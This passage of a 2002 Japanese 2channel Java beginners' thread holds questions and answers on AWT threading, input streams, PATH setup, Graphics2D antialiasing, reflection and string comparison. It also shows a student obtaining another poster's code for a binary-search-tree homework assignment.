else disableEvents(AWTEvent.MOUSE_EVENT_MASK);
super.setEnabled(enable);
}
}
長くてスマヌ。
576デフォルトの名無しさん:02/02/23 02:01
イベントディスパッチスレッドそのものをThread#sleepで止めるなんて
のはアホの極みだと思うんだが…
>>576
ちょっと重い処理をすることを想定したんだが・・・。
forループとかしばらくぐるぐる回して待つのと根本的にちがったりする?

578577=575:02/02/23 03:15
java.awt.Buttonのソースみてもサパーリわからん・・・、寝よ。
Javaであいまい検索ってどのようにすればいいんでしょうか?
まったくわからないのでよろしくおねがいいたします
580579:02/02/23 03:36
連カキコスマソ。
一応、単、完全一致検索はできます。
581デフォルトの名無しさん:02/02/23 11:25
どなたか教えてください。
Batikを入れてSVGを扱える状態で、jpegやbmp画像をSVGに変換
するにはどの様な処理をjavaで書けばよいのでしょうか?
SVGをjpegなどに変換するclassはあるのですが。。
やっぱり自前でjpegデータなどをbase64変換して、埋め込むものな
のでしょうか?
>>573
ファイルからの入力はFileInputStreamを使って、
キーボードからの入力はSystem.in(実体はInputStream)を使う
ということではない?

つまり、main()で全部やるんじゃなくて、

class Hoge{
 private BufferedInputStream bufferedInputStream;
 public Hoge(){
  bufferedInputStream = new BufferedInputStream(System.in);
 }
 public Hoge(InputStream is){
  bufferedInputStream = new BufferedInputStream(is);
 }
 public String readUpperCasedLine(){
  String line = bufferedInputStream.readLine();
  return line.toUpperCase();
 }

 public static void main(Strng[] args){
  Hoge hoge = new Hoge();
  System.out.println(hoge.readUpperCasedLine());
 }
}

とかやって、InputStreamを渡せるようにしろということでは。
コードは適当なので作るときはちゃんと考えてね。
>>579
Javaでないならわかるのならそれをポーティングすれ。
585デフォルトの名無しさん:02/02/23 16:12
>>578
2秒sleepした後にEnabledを変更するThreadを作って走らせよう。

ディスパッチスレッド自身をsleepしちまったら、その後のイベント
処理がみんな止まっちまうよ。sleepは何時かえってくるかワカランし。
586ガクセイ:02/02/23 21:44
>>582
ありがとうございます。考えてみます。
587ガクセイ:02/02/23 22:27
>>582
コンパイルとおりませんでした。
これは別なクラスからBufferedInputStream
を受け取ってコンストラクタでSystem.inか
InputStreamとどちらでも受け取れるという
ことなのですか?
>>587
あはは、import文くらい自分で書けよ!
…こういう奴には答えそのままかくしかないぞ、どうすんだ?>>582
589582:02/02/23 23:44
>>588
そこまで親切じゃねえ(藁

>>587
コンパイルは自分で通してね。

別なクラスからInputStreamを渡してやって
内部でBufferedInputStreamを通して標準入力やらファイルからの
入力を受け取って大文字に変換する、という作り。

で、こいつは別のクラスから使います。
自クラスから使いたければmainの中でインスタンス化しましょう。

で、OK?
アプレットでそのクラスを呼び出してるhtmlファイルの名前が
ほしいんですが、何かメソッドはないのでしょうか?
591デフォルトの名無しさん:02/02/24 00:06
非常にバカみたいな質問ですみません。
Java始めようかと思って、Jbuilderの体験版みたいなの入れてみたんですけど、
HELPがほぼ完璧に英語でこれじゃ無理です。
普通にSUNのサイトから落としたHELPは日本語なのでしょうか。
皆さんはHELP無しで組んでおられるんでしょうか?
よろしくお願いします。
>>591
とりあえず、英語版があるならそれでいいんじゃないかな?
英語って義務教育で基本は習ってるから、誰でも読めるよ。
自分を信じろって。
593デフォルトの名無しさん:02/02/24 00:13
>>591
初心者なら
JDKだけで組んだ方がいいと思います
Docは日本語あり
>>591
JDKのドキュメントはJDK1.3以前なら日本語訳版がSunのサイトでDLできるよ。

1.4の日本語ドキュメントはまだでてないみたい。日本語ドキュメントがDL
出来るってWebページに書いてあったから落してみたら、index.htmlだけ
日本語で、APIドキュメントは英語だった…だったら日本語ドキュメント
なんて書くなよ…
595デフォルトの名無しさん:02/02/24 00:34
javaのコンパイルが突然出来なくなってしまいました
過去コンパイルした物は実行できるんだけど
なんでなんですか?教えてください
596591:02/02/24 00:43
みなさんありがとうございます。
SUNからHELPだけ落としてみることにします。

そういや、思いついたのですが、MSDNの中にvisualJ++のヘルプが
あったので、これはどうだろう。
VisualJ++って全然違うんでしょうか。
597デフォルトの名無しさん:02/02/24 00:48
>>596
違うよね
っていうかあくまでもVisualJ++用の
ヘルプだから・・・
>>581
これを参考にして自分で書け。
http://www.padc.mmpc.is.tsukuba.ac.jp/member/morik/fdssvg/
599499:02/02/24 01:59
>>546さん

>C:\jdk1.2.2\bin\javac showJavaMessage.java

上記のフルパスでコンパイルしようとしたら、
下のようなエラーがでました。
.java ファイルにもパスを通す必要があるのでしょうか。

error: ShowJavaMessage.java が読みこません。
エラー1個

いつもとは違う反応だったので一歩進んだ気がします。
ありがとうございます。
600499:02/02/24 02:00
>>548さん
疑惑のAUTOEXEC.BATファイルは次の通りです。
----------------------------------------------------
SET DOS4G=QUIET
C:\PROGRA~1\NETWOR~1\MCAFEE~1\SCAN.EXE C:\ /NOBREAK /SILENT
@IF ERRORLEVEL 1 PAUSE
REM [Header]
@ECHO OFF
loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys

REM [CD-ROM Drive]
rem - By Windows Setup - C:\WINDOWS\COMMAND\MSCDEX.EXE /D:MSCD001 /L:R

REM [Miscellaneous]

REM [Display]

REM [Sound, MIDI, or Video Capture Card]

REM [Mouse]

C:\ESSAUDIO.COM
REM Environment Settings For McAfee VirusScan
SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\jdk1.2.2\BIN
SET LIB=D:\アプリケーション\プログラム言語\LIB;D:\アプリ~1\プログ~1
SET INCLUDE=D:\アプリケーション\プログラム言語\INCLUDE
------------------------------------------------------
いかかでしょうか。
601499:02/02/24 02:01
>>550さん

>C:\>echo %PATH%
>の結果をみてみそ。たぶん、autoexecのが通ってないはずだ。

結果は、

C:\WINDOWS;c:\windows;c:\windows\COMMAND;C:WINDOWS;C:\WINDOWS\COMMAND;C:\JDK1.2.2\BIN

でした。
以前このようなパスを通そうとした記憶があります。

>javaコンパイル環境設定専用のシェル(バッチ)でも作っておけばいいんでないか?

これはよくわかりませんが、簡単なのでしょうか。
602デフォルトの名無しさん:02/02/24 02:03
>>595
同じような経験では
JDKのバージョン変えたときになった
サポートされていないメソッドつかったからかな?
(そのときはsun.net.*パッケージ使った)
603499:02/02/24 02:03
>>551さん
すでにやってみました。
ありがとうございます。

>>552さん
ありがとうございます。
早速ダウンロードしました。
DOSを立ち上げてのコンパイルがもう少し分かったら使ってみようと思います。
604デフォルトの名無しさん:02/02/24 03:44
Javaでアンチエイリアスってどうやるんですか?
(Graphicsで書いたサークルとか)
605デフォルトの名無しさん:02/02/24 03:56
なんだったけなー
Graphics2Dクラスの
setRenderingHint()
だったような・・・
スペル間違ったらごめん
606604:02/02/24 04:25
>605

ありがとうございます。このメソッドにはMapオブジェクトを渡すんですね。
このMapオブジェクトってなんですか?いまいちわかりません。
そしてアンチエイリアスをやるには具体的にはどうしたらよいのでしょう?
607デフォルトの名無しさん:02/02/24 04:37
g.setRenderingHint(RenderingHints.Key hintKey, Object hintValue)
でよいと思われますが・・・
map使うのなら

RenderingHints h=new RenderingHints(null);
h.put(RenderingHints.Key hintKey, Object hintValue);
.
.
.
g.setRenderingHint(h);

で、いいかな?

608デフォルトの名無しさん:02/02/24 04:40
追加、
マップっていうのは、書籍などの
コレクションの項を見てください
キーと値でデータを格納するものです
609デフォルトの名無しさん:02/02/24 04:49
1.3.1SDK付属のSample AppletのBlinkが動かんです。あとAnimationの4つも。
他のは動くです。なにが足りないんですの?
610デフォルトの名無しさん:02/02/24 05:16
>>609
おれも、同じ状況になり
HTMLファイルの方をコンバーターで作り直したら動きました
または、使用するJavaPluginを明確に指定すれば動くかな
611606:02/02/24 06:21
>>607 >>608

ありがとう!
612デフォルトの名無しさん:02/02/24 06:25
intをdoubleにしたいんですが、
int値を元にIntegerオブジェクトを作って、
それでdoubleValue()(だっけ?)でdoubleにする、
という面倒な方法しかありませんか?
613デフォルトの名無しさん:02/02/24 06:49
>>610
JavaPluginを指定してみたが、同様。なんか一瞬Status Barに
exception: java.lang.CouldNotFoundException: java.util.TimerTask
とかでるです。やっぱランタイムかしら??
>>612
キャストすればいいじゃん
615604:02/02/24 10:55
604です。
その後、>>605=>>607さんに教えてもらったのを試したのですが、
うまくいきません。もともとGraphicsを使っていたので、それをGraphics2Dに
変えたところ、paintでかかれた物たちが、消えてしまいます。
paint(Graphics2D g2)っていうのがだめなんでしょうか?
すみません、教えて下さい。
616604=615:02/02/24 12:28
解決しました。お騒がせしました。
617デフォルトの名無しさん:02/02/24 12:46
java始めたいのですが、
JDK1.3.1ってやつと、JDK_doc1.3.1(ヘルプ?)はダウソロードしました。
あと、昔から秀丸エディタを使ってるので、それを含めて、
その他にこれはあったら便利だよ、ってものありますか?
フリーソフトであれば嬉しいです。
618581:02/02/24 13:02
>>598
ありがとう。
と言うことは、SVGに変換するクラスは無い
と言うことですね。
619デフォルトの名無しさん:02/02/24 14:21
>602サン
ご返事有難うございます。
でもそんな難しい問題ではなく普通に文字列を表示させるための
4行くらいのプログラムのやつでも出来ないのです。

c:\>javac ファイル名.java
コマンドまたはファイル名が違います

と表示されます。過去コンパイルした物は実行できます
となってしまいます。
ファイル名は確実にあっています
初心者な質問で申し訳ございませんがよろしくお願いします。
>>619
そのエラーだと、javac.exeにパスが通ってないな。
>>613
JREのバージョンが古い。
TimerTaskは新しいJREにしか搭載されていない。
>>617
コアAPIのJavaDocはファイルが多くて検索が面倒なので、
namazuか何か使ったほうがいいよ。
623デフォルトの名無しさん:02/02/24 16:41
>620サン
有難うございます
ほんとに申し訳ないのですが
javacにパスがとうってるか確認する方法と
とうす仕方を教えていただけないでしょうか
教えてくんでもうしわけありません。
当方OSはWIN98です
whichだっけ?
パスの通し方くらいサンにも入門本にも書いてあるだろう!
死ね!!
× とうす
○ とおす(通す)
DOSプロンプトでpathって打ってみたら?

627デフォルトの名無しさん:02/02/24 18:35
javaでタスクトレイ使うって無理なのでしょうか。
あと、デスクトップへのパスを調べる事もできないでしょうか?
あ、Windowsでの話です。
628デフォルトの名無しさん:02/02/24 18:57
>>627
その話、俺も興味あるね(タスクトレイ)
でも、マルチなプラットフォーム対象のJavaでは無理かも
だって、タスクトレイがすべてのOSにあるわけじゃないから・・・
その処理の部分だけJNIでVC++でも使って書くしかないね

デスクトップへのパスは
ディレクトリ名が「デスクトップ」のを探せばいいだけじゃないの?
おれ、なんか勘違いしてるかな
でも、Win2000だとか「デスクトップ」っていっぱいあるような・・・
>>628
タスクトレイってナアニ?

パスは、System.getProperty("usr.home")
で取ったディレクトリの下にあるのを探せばいいんじゃねえの?
…Win以外じゃあるかどうか保証できない(多分ない)けどねー。
630628:02/02/24 19:32
>>629
なんだよ「タスクトレイ」間違ってるか?


>>630
すまんっす。煽りじゃないっす。Win素人なので知らないだけっす。
632628:02/02/24 19:42
デフォルトで、画面右下のアイコン並んでいるところのこと(時計表示されてる場所)
基本的には、常駐アプリを表示したりする
>>632
あーそういうのねー。そりゃ無理だろね。

ところで1.4のコアAPIはレジストリへのアクセスが出来るよう
になってるらしいよ。これでなんとかなる?
634628:02/02/24 20:35
>>633
レジストリが管理しているのかどうかわからない>タスクトレイ
VC++では、Shell_NotifyIcon関数を使うのだが・・・
レジストリじゃないよ。>>634が書いてるようにshell32.dllが
提供してるAPI呼ばないと駄目。

つーか保存される物じゃないんだからそもそもレジストリなんか
関係しない。
636634:02/02/24 20:48
>>635
ちょっと勉強になった
637ここもいいよ!:02/02/24 21:13
638河野:02/02/26 10:24
とあるフィルターのクラスを作成しました。
引数がStringでreturnもStringです。
メソッドをstaticにして、newをしなくても使えるように
したのですが、これでいいでしょうか?
newしないほうが早いと思ったのですが、それがそもそも
間違いですか?

public class aa {
public static bb ( String cc ) {
String dd;
dd = ccを変換;
return dd;
}
}

使い方
String a = aa.bb("TEXT");
639デフォルトの名無しさん:02/02/26 10:31
class Last10Chars {
public static void main(String args[]) {
String s = "One Two Three Four Five Six Seven";
int len = s.length();
String substring = s.substring(len - 10, len);
System.out.println(substring);
}
}

最後の10文字を表示するメソッドですが、
引数の(len -10 , len);
が理解できません。これが”最後の10文字を抜き出せ”と解釈すれば良いんでしょうか?
10文字引いて、カンマのlenという文法がよくわからないのですが
640デフォルトの名無しさん:02/02/26 11:11
>>639
substring(int beginindex,int endindex)
だから、そのまんまじゃないでしょうか
641デフォルトの名無しさん:02/02/26 11:39
ありがとうございます。
JDK2のAPI仕様書にかいてありますね・・。
焦って見落としていた所が本当に初心者・・
>>638
それで、どうしたいんだ?
643000:02/02/26 12:27
初歩的な質問かつ書き込む掲示板が違うかもしれませんが、

postgresでbyte型データ(配列)を保存するときの
フィールドのデータ型はどのようにすればよいのでしょうか?

バイナリをそのままだとoidとするとよいらしいのですが・・・

みんさんお意見をお聞かせください。
644デフォルトの名無しさん:02/02/26 13:33
class StringToInt{

public static void main(String[] args){

String s = "125";
Integer obj = Integer.valueof(s);
int i = obj.intValue();
i += 10;
System.out.prinln(i);
}
}

静的メソッドとインスタンスメソッドの勉強をしています。
6行目は、静的メソッドであるvalueOfを使って変数objに格納しているんですが、
Integer obj として変数を宣言する意味が理解できません。
int obj としてはだめなんでしょうか?
i = Integer.parseInt(s);
646644:02/02/26 14:25
int i = Integer.valueOf(s).intValue();

int=Integer.parseInt(s)

てことですかね。
647644:02/02/26 14:27
int=Integer.parseInt(s);

でした。
で、私が疑問なのは、変数の型?にInteger objとしている所です。
変数というよりは、objという名前のIntegerクラスのオブジェクトを生成と考えればいいんですかね。
で、その後、インスタンスメソッドでobjを参照すると。合ってます??
648644:02/02/26 14:30
i =Integer.parseInt(s);

でした、何度もすいません。
そや
650河野:02/02/26 15:18
>>642
こうゆう使い方でいいんですか?
staticってあまりつかわないもので...
>>650
何が心配かよー分からんけど、使い方は問題ない。
652デフォルトの名無しさん:02/02/26 15:51
Stringで表されたクラス名から、そのクラス名のインスタンスを作成せずに
staticメソッドを呼ぶことは出来ますか?
>>652
Class#forName(), Method#invoke() あたりのリファレンスでも見れ
654 ◆glx7lCXw :02/02/26 16:09
オブジェクトラッパーてなんですか?
655652:02/02/26 16:21
>653
ありがとうございます。

Class aClass = Class.forName("MyClass");
Method aMethod = aClass.getMethod("myMethod",null);
Object o = aMethod.invoke(null,null);

としてみたら出来ました。
しかしなんだか動くには動いたけど理解してないので不安…。
invokeの引数に関してもちょっと勉強してきます。
>>654
残ったおかずのかわりにオブジェクトを包むサランラップだ。
おおおおおぶ!おぶ!おぶ!おぶ!おぶじぇくと!
オブジェク=モノ
ラッパー=包むもの
オブジェクトラッパーとは「モノを包むもの」つまり
コンドームのことだ。
659ラッパー:02/02/26 17:07
チェケラ
>>658
ちがう、包皮のことだ。
用法「>>654 はオブジェクトラッパーかむってる」
オブジェクト恥垢言語
662デフォルトの名無しさん:02/02/26 19:11
>>644

プリミティブ型変数と参照型変数の違いはわかる?
プリミティブ: int,char,etc...
参照型:    String,Graphics,System,Integer,etc...のインスタンス

プリミティブ型の型変換→キャスティング
参照型の型変換→1.継承してればナローキャスティング
        2.それ以外、できない。やるなら戻り値を目的の型とした
          メソッドを作るしかない。(用意されていることもあり)

ここまで書けばわかるでしょ?
663デフォルトの名無しさん:02/02/26 19:26
すみません。JBuilder5を使って、アプレットを作っています。
デバック表示用にと、もう1つアプレットを同じプロジェクトに
入れてテストをしました。テストがいらなくなったので、
プロジェクトから、このアプレットをはずし、class・java両ファイルを
削除したのですが、
「クラス graphicstest.testApplet は存在しません」
と削除した、アプレットの方をまだ探してしまうのです。

com.borland.jbuilder.runtime.applet.AppletTestbed 200 450 graphicstest.testApplet
と書いてあるところからも、そういう設定になっていることが窺えますが、
どうやって設定を直せばよいのかわかりません。
プロジェクトの実行をして、最初に作ったほうのクラスを表示するにはどうすれば良いのでしょうか?
ちなみにプロジェクト内の「最初のアプレット.html」は表示されています。
664雪苺息子:02/02/26 19:34
描画したグラフを GIF 形式で保存したいと思って、
DocFlavor flavor = DocFlavor.SERVICE_FORMATTED.PRINTABLE;
StreamPrintServiceFactory[] factories =
StreamPrintServiceFactory.lookupStreamPrintServiceFactories(flavor,
"image/gif");
とやったんですが、
なぜか factories.length == 0 になってしまって
GIF 形式に出力できないのですが、どうしてでしょうか?
ご存知の方、教えてください!ちなみに JDK1.4 を使用しています。 "image/gif");
665 ◆glx7lCXw :02/02/26 19:36
>>656
>>657
>>658
>>660

え、マジですか・・・
666UNISYS万歳!:02/02/26 21:19
>664
GIFの出力はプラグイン用意してやんなきゃだめかもね
"image/jpeg"は試してみた? "image/gif");
667雪苺息子:02/02/27 09:22
>666
レスありがとうございます。
早速試してみたのですが、image/jpeg でもうまくいきません(´Д`)
ちょっと長くなりますが、自分の書いたソースコードは..

import java.io.File;
import java.io.FileOutputStream;
import java.io.FileNotFoundException;
import java.awt.print.*;
import javax.print.*;

public class PrintSintoGIF{

public PrintSintoGIF(){
DocFlavor flavor = DocFlavor.SERVICE_FORMATTED.PRINTABLE;
String mimeType = DocFlavor.BYTE_ARRAY.JPEG.getMimeType();
StreamPrintServiceFactory[] factories =
StreamPrintServiceFactory.lookupStreamPrintServiceFactories(flavor,
mimeType);
// ここで else 節の方に飛んでしまう...
if(factories.length > 0){

try{

// 出力先のファイルを生成
FileOutputStream out = new FileOutputStream("sin.jpeg");
StreamPrintService sps = factories[0].getPrintService(out);
Doc doc = new SimpleDoc(new PrintSin(),flavor,null);
DocPrintJob job = sps.createPrintJob();
job.print(doc,null);
}catch(FileNotFoundException e){
System.out.println("出力対象のファイルが存在しません!");

}catch(PrintException e){
e.printStackTrace();
}
}else{
System.out.println("なし");
}
}

class PrintSin implements Printable{
/* ・・・省略・・・ */
}
public static void main(String[] args){
PrintSintoGIF sg = new PrintSintoGIF();
}
}
てな具合な感じのコードなんですが。
ちなみに application/postscript ではうまくいきました。
(実際チュートリアルの例題は.ps 形式だったし..)
単にPrint API使うのがお門違いのように思われ
素直にImageIO API使いなせえ
669デフォルトの名無しさん:02/02/27 15:14
だれか携帯のjavaでドラクエ作ってくれ。
ezplusなら50Kまでおっけーよ
つくってやるからezplusをよこせ。
携帯に入りきるか?
ドラクエ1なら50kもあれば大丈夫じゃねーか?
文字データですら入りきらんと思う
データというデータは適時サーバからダウンロードか?
iアプリのスクラッチパッドみたいなのは使えないのか?
675デフォルトの名無しさん:02/02/27 20:21
やばいです、プログラムの宿題提出期限まであと5時間です
しかしながら完成までほど遠いです。
一生のお願いです、皆さんのお力をお貸し下さい。
676デフォルトの名無しさん:02/02/27 20:22
Given a collection of points (their x and y coordinates), you are
required to output all points that lie within (including the boundary)
of a rectangle where the rectangle is specified by the coordinates of
of the end-points of one of its diagonals.

You are required to implement a binary search tree where each node
contains a point. The binary search property is defined differently
for even levels (root is at level 0) and odd levels. At even levels,
all nodes maintain the binary search property with respect to x-coordinate
whereas at odd levels, they do so with respect to y-coordinates. Equal
values belong in the left-sub-tree. You are not allowed to have duplicate
points in your tree. An error message should be output if insertion of
a duplicate point is attempted.
677デフォルトの名無しさん:02/02/27 20:23
To test this data structure, write a main program that inputs a series
of transactions with a transaction code (I for Insert a point, S for
search all points in the rectangle provided, and O for output the data
in the tree in Inorder. Appropriate input data is given for each
transaction. By the way, read all this input from a file.
678デフォルトの名無しさん:02/02/27 20:23
インプットデータ

Tentative test data:

I 5 7 This means insert a point (5,7)
I 3 9
I 4 15
I 8 10
I 6 12
O This means output the data in the tree in In-order
I 3 7
I 5 3
I 5 7
I 10 15
I 7 6
O
S 1 3 4 9 This means search all points in the rectangle whose
diagonal joins end-points (1,3) and (4,9)
I 3 8
I 6 14
I 1 10
I 5 12
I 6 8
I 4 1
I 9 10
I 15 12
I 9 9
O
S 1 3 4 9
S 9 9 1 3
S 4 6 10 13
S 6 8 6 8
S 20 20 17 17
S 1 3 4 9
荒らしじゃあ〜
荒らしがきおったあ〜
680デフォルトの名無しさん:02/02/27 20:33
荒らしじゃ無いです
真剣なマジレスです
一生のお願いです助けて下さい
ポイント((彼・それ)らの x とyコーディネート)のコレクション、
あなたが(境界線を含めて)中で横たわるすべてのポイントを出力するように
要求されるとすれば長方形があるところがその対角線の1つの末端について
コーディネートによって指定した長方形のか。あなたはそれぞれのノードが
1ポイントを含む2進法の検索ツリーを実行するように要求されます。
2進法の検索特性は平らなレベル(ルートがレベルにおいて0です)と奇妙な
レベルのために違って定義されます。レベルにおいてさえ、奇妙なレベルにお
いて、(彼・それ)らがy座標に関してそうするのに対して、すべてのノード
はx座標に関して2進法の検索特性を持続します。等しい値が左副木に属します。
あなたはあなたの木に重複ポイントを持っていることを許されません。もし
1重複ポイントの挿入が試みられるなら、エラーメッセージが出力されるべきです。

このデータ構造をテストするために、書き込み取引コードで一連の取引を入力
するメインプログラム(1インサートのために1ポイント、Sが検索のために
すべて供給された長方形とOでアウトプットのために Inorder でのツリーの
データを向けます。適切な入力データがそれぞれの取引のために与えられます。
ところで、ファイルからこのすべての入力を読み込んでください。
682デフォルトの名無しさん:02/02/27 20:49
説明します
(X、Y)で表されたポイント(Node)をインプットファイルから読み込み
それを2分探索木(binary search tree)に格納します。
2分探索木は根のレベルを0として、偶数レベルと奇数レベルに分別します。
遇数レベルではXの値を、奇数レベルではYの値をつかい、2分探索木を形成します。
値が同じ場合は左側の枝に格納します。
XとYの値が全く同じ場合は格納せずにエラーメッセージを出します。
そしてインプットファイルがSを読み込んだ時にその値(最初のSの時は
(1,3)と(4,9)の対角線で結ばれた四角形)の中にある点のみを出力します。

お願いします。助けて下さい。
外国の人?
684 :02/02/27 20:53
土下座して謝れば先生も許してくれるんじゃない?
685デフォルトの名無しさん:02/02/27 20:56
いえ、アメリカの大学です
先生は鬼で東洋人嫌いなので許してくれそうにないです。
昨日、まじで間に合いそうにないので後れて出しても良いか聞いたら
鼻で笑われて目も合わせずに断られました。
お願いです、助けてください。
かっこいー
アメリカから2chかよ
いいなー
俺もいきたいなー
687デフォルトの名無しさん:02/02/27 21:21
全然かっこよくないです
プログラミングが出来る皆さんの方がずっとかっこいいです
助けて下さいお願いします・・・・
アメ公に本場のハラキリを見せてやれ!
Oの時はどうすんだよ。
690デフォルトの名無しさん:02/02/27 23:25
Oの時はただ2分探索木に入ってるデータを順番に出力するだけです
おねがいします、助けて下さい

ああああ、時間がああああ
でけたかも。あってるかな
Tree: (( [3, 9] ( [4, 15] )) [5, 7] ( [8, 10] ( [6, 12] )))
[5, 7]is duplicated
Tree: ((( [3, 7] ( [5, 3] )) [3, 9] ( [4, 15] )) [5, 7] (( [7, 6] ) [8, 10] ( [6, 12] ( [10, 15] ))))
the points inside [1, 3, 4, 9] = [3, 7], [3, 9],
Tree: (((( [3, 8] ) [3, 7] (( [4, 1] ) [5, 3] )) [3, 9] (( [1, 10] ) [4, 15] ( [5, 12] ))) [5, 7] ((( [6, 8] ) [7, 6] (( [9, 9] ) [9, 10] )) [8, 10] (( [6, 14]) [6, 12] (( [15, 12] ) [10, 15] ))))
the points inside [1, 3, 4, 9] = [3, 8], [3, 7], [3, 9],
the points inside [9, 9, 1, 3] =
the points inside [4, 6, 10, 13] = [5, 12], [6, 8], [9, 9], [9, 10], [7, 6], [6, 12], [8, 10], [5, 7],
the points inside [6, 8, 6, 8] = [6, 8],
the points inside [20, 20, 17, 17] =
the points inside [1, 3, 4, 9] = [3, 8], [3, 7], [3, 9],
692デフォルトの名無しさん:02/02/27 23:47
多分正解だと思います
そのコードを教えて下さい・・・・お願いします
この哀れな学生の命をお救いください。。。
200行あるから貼れないや
メアドおせーてちょ
こちらに送って下さい、お願いします。
何とお礼を言って良いやら分かりません
このご恩は一生忘れません。
695デフォルトの名無しさん:02/02/28 00:05
>>694
ファイル届きました、本当にどうもありがとうございました。
すいません、一つ質問があるのですが
インプットファイルもしくはインプットはどのようにしたら良いのでしょうか?
本当に何から何まで聞いてすみません。
> java PointSearch input.txt
697デフォルトの名無しさん:02/02/28 00:19
はい?
57行目でしょうか?
input.txtをどうすれば・・・・
698デフォルトの名無しさん:02/02/28 00:20
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException
at PointSearch.main(PointSearch.java:57)
Press any key to continue...


このような例外が出てきます。
というよりも多分、入力が出来て無いと思います。
すいません
699デフォルトの名無しさん:02/02/28 00:30
もういらっしゃらないですか・・・・
>>699
報われないですね
>>699
どうにかしたいなら、どこかにアプしろ。
702デフォルトの名無しさん:02/02/28 00:42
ソースをですか?
どこにアップすれば良いでしょう?
>>702
ほっとけば?
>>702
リンク張ってくれればどこでもいいよ。

人が善意で作ってくれたソースを2chで勝手にさらすという、非常識
な行為をほんとにやるのかどうか、見ものだね。
705デフォルトの名無しさん:02/02/28 00:56
そんな・・・・・・
晒すだなんて・・・
本当に困ってるんです、あと1時間しかない・・・・。
706デフォルトの名無しさん:02/02/28 01:12
出来ました、皆さんありがとうございました
ソースを送ってくれた方、このご恩は一生わすれません
これからはちゃんと自分で出来るように精進します。
最後にどこの大学なのかおしえてちょー
708デフォルトの名無しさん:02/02/28 11:37
すいません まぜてください
string変数(日本語)の中身を16進数で吐き出すコードってありますか?
受け渡してるうちに文字コードが代わってるのかなんなのか
if(画面で表示される文字列 == 変数文字列)
が常に偽になってしまいまする。
Javaのイディオム。
明日のためにその1
文字列比較は equals() を使え
710 :02/02/28 11:49
>708は==の意味を調べる必要があるね。
>>708はプリミティブ型と参照型を調べろ。
>708
Unicodeでいいのかい?
たぶんこんな感じ。
 public void UniDump(PrintWriter p,String s)
 {
  int size = s.length();
  char c[] = new char[size];
  
  s.getChars(0,size,c,0);
  for(int i = 0; i<size;i++)
  {
   p.print(Integer.toHexString((int)c[i]));
   p.print(" ");
  }
  p.println("");
  
 }
でも、709〜711さんの言っていることが正しいに256カノッサ。
713708:02/02/28 13:31
>709,710,711 皆様感謝です。==の意味もわかりました。ありがとうございました。

他にも悩んでる人がいたら(いないかも知れないけど)...の為にフィードバックしておきます。
文字列比較は 文字列A.equals("文字列B") で行え。==だと内容が等価かは調べられない。 だ、そうです。
>>713
そこいらへんはもっと深く突っ込んで調べといた方が
後々役に立つと思うぞ。
715708:02/02/28 13:36
>>712
うわぁあぁ時間差だった。すいません。ありがとうございます。
私がやりたかったのはequalsですが、ここで求めたのは712さんの通りです。
このプログラムもいづれ役に立つと思うので大事に保管しておきます。
皆様、ほんとに有難う。
716708:02/02/28 13:37
>>714
ありがとう。いつか恩返しができるよう精進します。
717デフォルトの名無しさん:02/02/28 15:15
アメリカの大学って、どっちだ?

日本の大学の選抜組みの遠征か?
それとも、金持ちのバカ息子(失礼)がアメリカのダメ大学にむやみに
留学させるって奴か?

アメリカのクゾ大学の情報学科だったりしたら注意だ。
まったく薄っぺらい知識しか教えてくれないので。
(日本だったら専門学校みたいな)
718デフォルトの名無しさん:02/02/28 15:27
swingを使わず、コンソールに押したキーを
表示させるにはどうしたらいいんでしょうか?
KeyListenerとかどうやって使っていいのか。。。
import java.awt.event.*;

class KeyTest implements KeyListener {
public static void main(String[] args) {
while(true) {
}
}

public void keyTyped(KeyEvent e) {
System.out.println(e.getKeyCode());
}

public void keyReleased(KeyEvent e) {
System.out.println(e.getKeyCode());
}

public void keyPressed(KeyEvent e) {
System.out.println(e.getKeyCode());
}
}
じゃあだめなんでしょうか?
コンポーネントに追加するのってどういうことなんですか?
へたれでスマソ。マジスレキボンヌ。
719初心者:02/02/28 17:10
デシリアライズの使い方が分かりません。
プログラムの中で使ってるのですが、なぜだか、HTTPサーバーを介すと
エラーが出てしまいます。
直でアプリケーションサーバーに良くと大丈夫なのですが。
なぜでしょうか?
おしえてください。
720駄目人間 ◆/tXZIveQ :02/02/28 17:16
こんにちは。
糞スレをたててしまってちょっと質問しにくいのですがよろしくお願いします。
私はJavaを勉強してなんとかプログラマとして就職をしたいと思っている
引きこもりです。一応独習JAVAという初心者用の本を終えたのですが、
それじゃあ使い物にならないそうなので沢山の課題をこなしていきたいと
考えています。

駄目人間がJavaを激しく特訓するスレ
http://pc.2ch.net/test/read.cgi/tech/1014712913/l50

こちらのスレの15番さんから課題をいただき30番と33番にて一応
自分でできたものを投稿したのですがかなり酷い出来だということで
へこんでいます。酷いところはどの辺でしょうか?
また信号機型というものを作って信号機クラス内で使わなくてはならない
ようなのですが、信号機型というものをどういう風に作ったらよいのか
イメージが湧きません。

質問が沢山ですがよろしくお願いします。
>718
どういうことがやりたいのかさっぱりだけど、とりあえずこれで
"コンソールに押したキーを 表示させる"ことはできるよ。

public static void main(String[] arg) throws java.io.IOException {
System.in.read();
}

>719
どういうエラーが出る?
>>720
まず、にちゃんねるで誰かが適当にだした課題よりも
普通の本でべんきょうすれ。

それくらい判断できれ。
>>720
ここは、課題を出してもらうスレではないので、その点一応
気をつけるように。
724駄目人間 ◆/tXZIveQ :02/02/28 17:36
>>722
普通の本ですか。
独習JAVAを一通り終えたのですが次にはどの本を勉強したらいいでしょうか?
725デフォルトの名無しさん:02/02/28 17:37
アプレットでカレンダーを作っています。
完成したので、IEで見てみたら、一部表示されませんでした。
IEは6なのですが、System.getpropertyでJDKのバージョンは1.1と出ました。
開発環境は1.3です。
いろいろデバックして調べてみたのですが、
どうやら自作クラスTimeManagerのフィールドのweek_in_Month(月末が月の何週目か)
と、first_in_Month_youbi(月初の曜日)が取得できていないようです。
JDK1.3では
this.caldmy = Calendar.getInstance();
caldmy.set(this.year,this.month -1, this.date_in_Month); ・・・(あ)
this.week_in_Month = caldmy.get(Calendar.WEEK_OF_MONTH);
caldmy.set(this.year,this.month - 1,1);
this.first_in_month_youbi = caldmy.get(Calendar.DAY_OF_WEEK);
※caldmy=カレンダークラスのインスタンス date_in_Month=月末の日付
としています。
(あ)の条件で、caldmyのDATE,MONTH,YEARを出してみたのですが、合っていました。
しかし、アプレットにCaldmyを書きだしてみると
java.util.GregorianCalemdar@0(1.3ではjava.util.GregorianCalemdar@time{・・・)
となっています。
Calendar.WEEK_OF_MONTH は数字を返すのですが、
